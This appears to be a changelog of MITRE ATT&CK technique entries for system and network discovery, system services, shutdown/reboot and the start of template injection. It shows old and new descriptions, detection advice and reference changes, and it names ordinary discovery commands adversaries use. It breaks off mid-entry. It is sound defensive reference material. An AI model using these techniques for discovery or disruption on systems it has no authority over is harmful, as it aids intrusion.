| machine information via APIs. Successful authenticated API | | tation: OSX.FairyTale)(Citation: 20 macOS Common Tools and T |
| calls can return data such as the operating system platform | | echniques) Infrastructure as a Service (IaaS) cloud provide |
| and status of a particular instance or the model view of a v | | rs such as AWS, GCP, and Azure allow access to instance and |
| irtual machine.(Citation: Amazon Describe Instance)(Citation | | virtual machine information via APIs. Successful authenticat |
| : Google Instances Resource)(Citation: Microsoft Virutal Mac | | ed API calls can return data such as the operating system pl |
| hine API) | | atform and status of a particular instance or the model view |
| | | of a virtual machine.(Citation: Amazon Describe Instance)(C |
| | | itation: Google Instances Resource)(Citation: Microsoft Viru |
| | | tal Machine API) |
Dropped Detections:
- DS0030: Instance (Instance Metadata)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-312 | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-13 23:21:27.750000+00:00 | 2022-04-20 18:13:33.490000+00:00 |
| description | An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)
Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) | An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information.(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)
Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) |
| external_references[1]['source_name'] | capec | Amazon Describe Instance |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/312.html | https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html |
| external_references[2]['source_name'] | OSX.FairyTale | Google Instances Resource |
| external_references[2]['description'] | Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021. | Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020. |
| external_references[2]['url'] | https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/ | https://cloud.google.com/compute/docs/reference/rest/v1/instances |
| external_references[3]['source_name'] | 20 macOS Common Tools and Techniques | Microsoft Virutal Machine API |
| external_references[3]['description'] | Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. | Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019. |
| external_references[3]['url'] | https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ | https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get |
| external_references[4]['source_name'] | Amazon Describe Instance | 20 macOS Common Tools and Techniques |
| external_references[4]['description'] | Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. | Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. |
| external_references[4]['url'] | https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html | https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ |
| external_references[5]['source_name'] | Google Instances Resource | OSX.FairyTale |
| external_references[5]['description'] | Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020. | Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021. |
| external_references[5]['url'] | https://cloud.google.com/compute/docs/reference/rest/v1/instances | https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/ |
| external_references[6]['source_name'] | Microsoft Virutal Machine API | US-CERT-TA18-106A |
| external_references[6]['description'] | Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019. | US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. |
| external_references[6]['url'] | https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get | https://www.us-cert.gov/ncas/alerts/TA18-106A |
| x_mitre_data_sources[0] | Instance: Instance Metadata | Process: OS API Execution |
| x_mitre_data_sources[1] | Process: Process Creation | Instance: Instance Metadata |
| x_mitre_data_sources[3] | Process: OS API Execution | Process: Process Creation |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations. | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations. |
| x_mitre_version | 2.3 | 2.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/312.html', 'external_id': 'CAPEC-312'} |
| x_mitre_contributors | | Austin Clark, @c2defense |
| x_mitre_platforms | | Network |
[T1016] System Network Configuration Discovery
Current version: 1.4
Version changed from: 1.3 → 1.4
|
|
|---|
| t | Adversaries may look for details about the network configura | t | Adversaries may look for details about the network configura |
| tion and settings, such as IP and/or MAC addresses, of syste | | tion and settings, such as IP and/or MAC addresses, of syste |
| ms they access or through information discovery of remote sy | | ms they access or through information discovery of remote sy |
| stems. Several operating system administration utilities exi | | stems. Several operating system administration utilities exi |
| st that can be used to gather this information. Examples inc | | st that can be used to gather this information. Examples inc |
| lude [Arp](https://attack.mitre.org/software/S0099), [ipconf | | lude [Arp](https://attack.mitre.org/software/S0099), [ipconf |
| ig](https://attack.mitre.org/software/S0100)/[ifconfig](http | | ig](https://attack.mitre.org/software/S0100)/[ifconfig](http |
| s://attack.mitre.org/software/S0101), [nbtstat](https://atta | | s://attack.mitre.org/software/S0101), [nbtstat](https://atta |
| ck.mitre.org/software/S0102), and [route](https://attack.mit | | ck.mitre.org/software/S0102), and [route](https://attack.mit |
| re.org/software/S0103). Adversaries may use the information | | re.org/software/S0103). Adversaries may also leverage a [Ne |
| from [System Network Configuration Discovery](https://attac | | twork Device CLI](https://attack.mitre.org/techniques/T1059/ |
| k.mitre.org/techniques/T1016) during automated discovery to | | 008) on network devices to gather information about configur |
| shape follow-on behaviors, including determining certain acc | | ations and settings, such as IP addresses of configured inte |
| ess within the target network and what actions to do next. | | rfaces and static/dynamic routes.(Citation: US-CERT-TA18-106 |
| | | A)(Citation: Mandiant APT41 Global Intrusion ) Adversaries |
| | | may use the information from [System Network Configuration D |
| | | iscovery](https://attack.mitre.org/techniques/T1016) during |
| | | automated discovery to shape follow-on behaviors, including |
| | | determining certain access within the target network and wha |
| | | t actions to do next. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Austin Clark, @c2defense'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022. |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-309 | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 00:17:37.881000+00:00 | 2022-04-20 18:14:02.739000+00:00 |
| description | Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).
Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. | Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).
Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes.(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )
Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. |
| external_references[1]['source_name'] | capec | Mandiant APT41 Global Intrusion |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/309.html | https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits |
| x_mitre_data_sources[2] | Command: Command Execution | Process: OS API Execution |
| x_mitre_data_sources[3] | Process: OS API Execution | Command: Command Execution |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, {{LinkById|T1059.008} commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'} |
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/309.html', 'external_id': 'CAPEC-309'} |
| x_mitre_platforms | | Network |
[T1049] System Network Connections Discovery
Current version: 2.3
Version changed from: 2.2 → 2.3
|
|
|---|
| t | Adversaries may attempt to get a listing of network connecti | t | Adversaries may attempt to get a listing of network connecti |
| ons to or from the compromised system they are currently acc | | ons to or from the compromised system they are currently acc |
| essing or from remote systems by querying for information ov | | essing or from remote systems by querying for information ov |
| er the network. An adversary who gains access to a system | | er the network. An adversary who gains access to a system |
| that is part of a cloud-based environment may map out Virtua | | that is part of a cloud-based environment may map out Virtua |
| l Private Clouds or Virtual Networks in order to determine w | | l Private Clouds or Virtual Networks in order to determine w |
| hat systems and services are connected. The actions performe | | hat systems and services are connected. The actions performe |
| d are likely the same types of discovery techniques dependin | | d are likely the same types of discovery techniques dependin |
| g on the operating system, but the resulting information may | | g on the operating system, but the resulting information may |
| include details about the networked cloud environment relev | | include details about the networked cloud environment relev |
| ant to the adversary's goals. Cloud providers may have diffe | | ant to the adversary's goals. Cloud providers may have diffe |
| rent ways in which their virtual networks operate.(Citation: | | rent ways in which their virtual networks operate.(Citation: |
| Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Net | | Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Net |
| work Overview)(Citation: Google VPC Overview) Utilities and | | work Overview)(Citation: Google VPC Overview) Similarly, adv |
| commands that acquire this information include [netstat](ht | | ersaries who gain access to network devices may also perform |
| tps://attack.mitre.org/software/S0104), "net use," and "net | | similar discovery activities to gather information about co |
| session" with [Net](https://attack.mitre.org/software/S0039) | | nnected systems and services. Utilities and commands that a |
| . In Mac and Linux, [netstat](https://attack.mitre.org/softw | | cquire this information include [netstat](https://attack.mit |
| are/S0104) and <code>lsof</code> can be used to list current | | re.org/software/S0104), "net use," and "net session" with [N |
| connections. <code>who -a</code> and <code>w</code> can be | | et](https://attack.mitre.org/software/S0039). In Mac and Lin |
| used to show which users are currently logged in, similar to | | ux, [netstat](https://attack.mitre.org/software/S0104) and < |
| "net session". | | code>lsof</code> can be used to list current connections. <c |
| | | ode>who -a</code> and <code>w</code> can be used to show whi |
| | | ch users are currently logged in, similar to "net session". |
| | | Additionally, built-in features native to network devices an |
| | | d [Network Device CLI](https://attack.mitre.org/techniques/T |
| | | 1059/008) may be used.(Citation: US-CERT-TA18-106A) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-08 10:33:01.083000+00:00 | 2022-04-20 18:14:30.741000+00:00 |
| description | Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)
Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to "net session". | Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.
Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to "net session". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used.(Citation: US-CERT-TA18-106A) |
| x_mitre_data_sources[0] | Process: Process Creation | Command: Command Execution |
| x_mitre_data_sources[1] | Command: Command Execution | Process: Process Creation |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
| x_mitre_version | 2.2 | 2.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'} |
| x_mitre_contributors | | Austin Clark, @c2defense |
| x_mitre_platforms | | Network |
[T1007] System Service Discovery
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may try to get information about registered serv | t | Adversaries may try to gather information about registered l |
| ices. Commands that may obtain information about services us | | ocal system services. Adversaries may obtain information abo |
| ing operating system utilities are "sc," "tasklist /svc" usi | | ut services using tools as well as OS utility commands such |
| ng [Tasklist](https://attack.mitre.org/software/S0057), and | | as <code>sc query</code>, <code>tasklist /svc</code>, <code> |
| "net start" using [Net](https://attack.mitre.org/software/S0 | | systemctl --type=service</code>, and <code>net start</code>. |
| 039), but adversaries may also use other tools as well. Adve | | Adversaries may use the information from [System Service D |
| rsaries may use the information from [System Service Discove | | iscovery](https://attack.mitre.org/techniques/T1007) during |
| ry](https://attack.mitre.org/techniques/T1007) during automa | | automated discovery to shape follow-on behaviors, including |
| ted discovery to shape follow-on behaviors, including whethe | | whether or not the adversary fully infects the target and/or |
| r or not the adversary fully infects the target and/or attem | | attempts specific actions. |
| pts specific actions. | | |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'SYSTEM'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 14:10:36.992000+00:00 | 2022-04-19 02:39:54.386000+00:00 |
| description | Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057), and "net start" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. | Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.
Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Linux |
[T1569] System Services
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 18:40:23.888000+00:00 | 2022-03-22 17:29:46.189000+00:00 |
| x_mitre_data_sources[0] | Command: Command Execution | File: File Modification |
| x_mitre_data_sources[3] | File: File Modification | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[4] | Windows Registry: Windows Registry Key Modification | Command: Command Execution |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Linux |
[T1529] System Shutdown/Reboot
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may shutdown/reboot systems to interrupt access | t | Adversaries may shutdown/reboot systems to interrupt access |
| to, or aid in the destruction of, those systems. Operating s | | to, or aid in the destruction of, those systems. Operating s |
| ystems may contain commands to initiate a shutdown/reboot of | | ystems may contain commands to initiate a shutdown/reboot of |
| a machine. In some cases, these commands may also be used t | | a machine or network device. In some cases, these commands |
| o initiate a shutdown/reboot of a remote computer.(Citation: | | may also be used to initiate a shutdown/reboot of a remote c |
| Microsoft Shutdown Oct 2017) Shutting down or rebooting sys | | omputer or network device.(Citation: Microsoft Shutdown Oct |
| tems may disrupt access to computer resources for legitimate | | 2017)(Citation: alert_TA18_106A) Shutting down or rebooting |
| users. Adversaries may attempt to shutdown/reboot a system | | systems may disrupt access to computer resources for legitim |
| after impacting it in other ways, such as [Disk Structure W | | ate users. Adversaries may attempt to shutdown/reboot a sys |
| ipe](https://attack.mitre.org/techniques/T1561/002) or [Inhi | | tem after impacting it in other ways, such as [Disk Structur |
| bit System Recovery](https://attack.mitre.org/techniques/T14 | | e Wipe](https://attack.mitre.org/techniques/T1561/002) or [I |
| 90), to hasten the intended effects on system availability.( | | nhibit System Recovery](https://attack.mitre.org/techniques/ |
| Citation: Talos Nyetya June 2017)(Citation: Talos Olympic De | | T1490), to hasten the intended effects on system availabilit |
| stroyer 2018) | | y.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic |
| | | Destroyer 2018) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-27 21:18:48.149000+00:00 | 2022-02-18 21:00:33.705000+00:00 |
| description | Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018) | Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device.(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018) |
| external_references[2]['source_name'] | Talos Nyetya June 2017 | alert_TA18_106A |
| external_references[2]['description'] | Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises Systems Worldwide. Retrieved March 26, 2019. | CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022. |
| external_references[2]['url'] | https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html | https://www.cisa.gov/uscert/ncas/alerts/TA18-106A |
| external_references[3]['source_name'] | Talos Olympic Destroyer 2018 | Talos Nyetya June 2017 |
| external_references[3]['description'] | Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. | Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises Systems Worldwide. Retrieved March 26, 2019. |
| external_references[3]['url'] | https://blog.talosintelligence.com/2018/02/olympic-destroyer.html | https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html |
| x_mitre_data_sources[0] | Process: Process Creation | Sensor Health: Host Status |
| x_mitre_data_sources[2] | Sensor Health: Host Status | Process: Process Creation |
| x_mitre_detection | Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. | Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the reload command. |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Talos Olympic Destroyer 2018', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'} |
| x_mitre_platforms | | Network |
[T1221] Template Injection
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may create or modify references in Office docume | t | Adversaries may create or modify references in user document |
| nt templates to conceal malicious code or force authenticati | | templates to conceal malicious code or force authentication |
| on attempts. Microsoft’s Office Open XML (OOXML) specificati | | attempts. For example, Microsoft’s Office Open XML (OOXML) |
| on defines an XML-based format for Office documents (.docx, | | specification defines an XML-based format for Office documen |
| xlsx, .pptx) to replace older binary formats (.doc, .xls, .p | | ts (.docx, xlsx, .pptx) to replace older binary formats (.do |
| pt). OOXML files are packed together ZIP archives compromise | | c, .xls, .ppt). OOXML files are packed together ZIP archives |
| d of various XML files, referred to as parts, containing pro | | compromised of various XML files, referred to as parts, con |
| perties that collectively define how a document is rendered. | | taining properties that collectively define how a document i |
| (Citation: Microsoft Open XML July 2017) Properties within | | s rendered.(Citation: Microsoft Open XML July 2017) Propert |
| parts may reference shared public resources accessed via on | | ies within parts may reference shared public resources acces |
| line URLs. For example, template properties reference a file | | sed via online URLs. For example, template properties may re |
| , serving as a pre-formatted document blueprint, that is fet | | ference a file, serving as a pre-formatted document blueprin |
| ched when the document is loaded. Adversaries may abuse thi | | t, that is fetched when the document is loaded. Adversaries |
| s technology to initially conceal malicious code to be execu | | may abuse these templates to initially conceal malicious co |
| ted via documents. Template references injected into a docum | | de to be executed via user documents. Template references in |
